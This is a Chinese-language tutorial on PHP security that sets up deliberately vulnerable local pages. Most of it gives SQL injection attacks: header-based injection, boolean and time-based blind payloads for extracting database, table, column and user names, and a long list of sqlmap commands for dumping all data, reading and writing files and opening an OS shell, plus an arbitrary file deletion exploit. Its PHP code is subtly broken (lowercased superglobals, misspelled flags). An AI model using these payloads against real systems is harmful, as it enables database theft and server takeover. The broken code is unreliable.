本篇文章给大家带来了关于php安全的相关知识,其中主要介绍了什么是sql注入?盲注是怎么使用的?常用检测命令有哪些等等,下面一起来看一下,希望对需要的朋友有所帮助。
php 安全编码总结笔记
sql注入: 代码中的 http_x_forwarded_for 地址可以被伪造,而remote_addr则相对更安全,有些应用程序会将对方ip地址带入数据库查询是否存在,例如同一个ip每天只能注册一个账号等,如果目标代码中使用的是 http_x_forwarded_for 获取的ip地址,那么攻击者就可以通过修改http包头实现sql注入攻击。
<?phpfunction get_client_addr(){if($_server["http_client_ip"] && strcasecmp($_server["http_client_ip"],"unknown")){$ip = $_server["http_client_ip"];echo "http_client_ip =" . $ip;}else if($_server["http_x_forwarded_for"] && strcasecmp($_server["http_x_forwarded_for"], "unknown")){$ip = $_server["http_x_forwarded_for"];echo "http_x_forwarded_for =" . $ip;}else if($_server["remote_addr"] && strcasecmp($_server["remote_addr"], "unknown")){$ip = $_server["remote_addr"];echo "remote_addr =" . $ip;}else{$ip = "unknown";}return $ip;}$addr = get_client_addr();?>
sql注入: 一种使用了过滤的代码,接受的参数经过过滤,字符串会被过滤掉sql注入的关键字,整数会被强制转换为整数。
<?php$var = date_default_timezone_get();echo "当前时区: " . $var . "<br>";date_default_timezone_set("asia/shanghai");if(!get_magic_quotes_gpc()){$var = waf($_get['id']);echo "过滤后的参数: " . $var;}function waf($array){if(is_array($array)){foreach ($array as $key => $value) {$array [$key] = waf($value);}}else if(is_string($array)){$array = addslashes($array);#$array = str_ireplace("and", "fuck", $array);$substr = array("and" => "fuck you !","where" => "fuck you !","union" => "fuck you !","select" => "fuck you !","order" => "fuck you !","update" => "fuck you !","sleep" => "fuck you !",);$array = str_ireplace(array_keys($substr), $substr,$array);}else if(is_numeric($array)){$array = intval($array);}return $array;}?>
盲注的使用
首先需要简单修改上方的源代码,去掉回显框,然后修改以下代码.
<!doctype html><html><head> <meta charset="gbk"> <title>sql 注入测试代码</title></head> <?php $connect = mysqli_connect("localhost","root","123","lyshark"); if($connect) { $id = $_get['id']; if(isset($id)) { $sql = "select * from users where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); $row = mysqli_fetch_array($query); if(!empty($row)) { print("查询完成了.."); }else { print("查询失败"); } } } ?><body> <?php echo '<hr><b> 后端执行sql语句: </b>' . $sql; ?></body></html>
猜数据库名称: 盲注也就是程序会返回两种状态,查询成功与查询失败,我们需要自己构建判断条件,常用语句如下.
index.php?id=1' and left(version(),1)=5 --+ // 返回正常,说明版本号是5index.php?id=1' and (length(database()))=7 --+ // 返回正常,说明数据库名字长度是7index.php?id=1' and (left(database(),1))='l' --+ // 返回正常,说明数据库第一位是lindex.php?id=1' and (left(database(),2))='ly' --+ // 返回正常,说明数据库前两位位是ly,以此类推index.php?id=1' and ord(mid((cast(database() as char)),1,1))=108 --+ // 验证第一位是否为lindex.php?id=1' and ord(mid((cast(database() as char)),2,1))=121 --+ // 验证第二位是否为y,以此类推
猜表名:如果网页返回正常,则说明存在这个表,返回不正常说明不存在.
index.php?id=1' and (select count(*) from mysql.user) >=0 // 存在mysql.user表index.php?id=1' and (select count(*) from lyshark) >=0 // 存在lyshark表
猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.
index.php?id=1' and (select count(id) from users) >=0 // 返回正常说明存在id字段index.php?id=1' and (select count(name) from users) >=0 // 返回不正常不存在name字段index.php?id=1' and (select count(*) from lyshark) >=3 #-- // 返回表中记录数
用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.
index.php?id=1' and (length(user())) >=14 # // 猜测数据库用户名称长度index.php?id=1' and (select user() like 'root%') # // 猜测用户名index.php?id=1' and (select user() regexp '^[a-z]') # // 猜测开头a-zindex.php?id=1' and (select user() regexp '^r') # // 第一位是rindex.php?id=1' and (select user() regexp '^ro') # // 第二位是oindex.php?id=1' and (select user() regexp '^root') # // 以此类推猜测前四位
延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.
index.php?id=1' and sleep(5) #index.php?id=1' and sleep(5) order by 3 # // 如果是3个字段,则会延时5秒index.php?id=1' and select if(length(user())=0,sleep(3),1) # //如果user=0则延时3秒index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1个字符=d则延时3秒index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2个字符=v则延时3秒
◆sqlmap 命令◆
常用检测命令:
sqlmap -u "./index.php?id=1" -v 3 # 显示攻击载荷sqlmap -u "./index.php?id=1" --level=3 # 指定探测级别sqlmap -u "./index.php?id=1" --privileges # 测试所有用户权限sqlmap -u "./index.php?id=1" --privileges root # 测试root用户权限sqlmap -u "./index.php?id=1" --all # 查询所有数据库sqlmap -u "./index.php?id=1" --hostname # 查询当前主机名sqlmap -u "./index.php?id=1" --is-dba # 判断root权限sqlmap -u "./index.php?id=1" --users # 枚举数据库用户sqlmap -u "./index.php?id=1" --random-agent # 随机user-agentsqlmap -u "./index.php?id=1" --output-dir="" # 自定义输出目录sqlmap -u "./index.php?id=1" --file-read="" # 读取文件sqlmap -u "./index.php?id=1" --file-write="" # 写入操作sqlmap -u "./index.php?id=1" --os-cmd="net user" # 执行一条命令sqlmap -u "./index.php?id=1" --os-shell # 交互执行命令sqlmap -u "./index.php?id=1" --sql-query="" # 执行的sql语句sqlmap -u "./index.php?id=1" --cookie="" # 指定cookiesqlmap -u "./index.php?id=1" --temper="" # 指定过滤脚本sqlmap -u "./index.php?id=1" --dbs --delay 1 # 延时1秒后注入sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # 延时3秒后注入sqlmap -u "./index.php?id=1" --identify-waf # 测试是否有wafsqlmap -u "./index.php?id=1" --current-db # 查询当前数据库sqlmap -u "./index.php?id=1" --current-user # 查询当前主机名sqlmap -u "./index.php?id=1" --users # 查询所有用户名sqlmap -u "./index.php?id=1" --dbs # 列出所有数据库sqlmap -u "./index.php?id=1" --tables # 列出所有的表sqlmap -u "./index.php?id=1" -d "mysql" --tables # 获取mysql库中的表sqlmap -u "./index.php?id=1" -d "mysql" -t "host" --columns # 获取mysql.host表列名称sqlmap -u "./index.php?id=1" -d "mysql" -t "host" --dump # 将mysql.host保存到本地sqlmap -u "./index.php?id=1" -d "mysql" --dump-all # 全部脱裤sqlmap -u "./index.php?id=1" -d "mysql" -t "user" -c "host,user,password" --dump
cookie注入: 当level>=2时,使用cookie注入,level >=3 使用user-agent/referer注入.
sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判断注入点sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜数据库名sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名称sqlmap -u "./index.php" -v 3 --cookie id=1 -t 表名 --clumns --level 2 #猜字段sqlmap -u "./index.php" -v 3 --cookie id=1 -t 表名 --clumns --dump --level 2 #猜内容
post注入: 该方法通常是使用抓包工具抓取数据包,然后指定字段进行测试即可.
1.浏览器打开目标地址 http://www.xxx.com/index.php
2.配置burp代理(127.0.0.1:8080) 准备拦截请求
3.点击login表单的submit按钮,或者其他按钮均可
4.这时候burp会拦截到了我们的登录post请求
5.把这个post请求复制为txt,记录下其中的 id=1&submit=submit
sqlmap -r post.txt -p id --dbssqlmap -r post.txt -p id -d mysql --tablessqlmap -r post.txt -p id -d mysql -t user --columnssqlmap -r post.txt -p id -d mysql -t user -c "user,password" --dumpsqlmap --dbms "mysql" --method "post" --data "id=1&cat=2"
其他漏洞利用
任意文件删除: 执行删除语句http://php.com/?dir=.....////&file=a.txt 完成漏洞利用.
<?php$dir = isset($_get['dir']) && trim($_get['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', urldecode(trim($_get['dir']))) : '';$dir = str_replace("-", "/", $dir);$file = isset($_get['file']) && trim($_get['file']) ? trim($_get['file']) : '';$path = "./" . $dir . "/" . $file;$path = str_replace(array("//"), array("/"), $path);echo "当前路径是: " . $path . "<br>";if (file_exists($path)) {if (unlink($path)) { echo "删除完成..";} else { echo "删除失败..";}}?>
推荐学习:《php视频教程》
以上就是php安全编码总结(经验分享)的详细内容。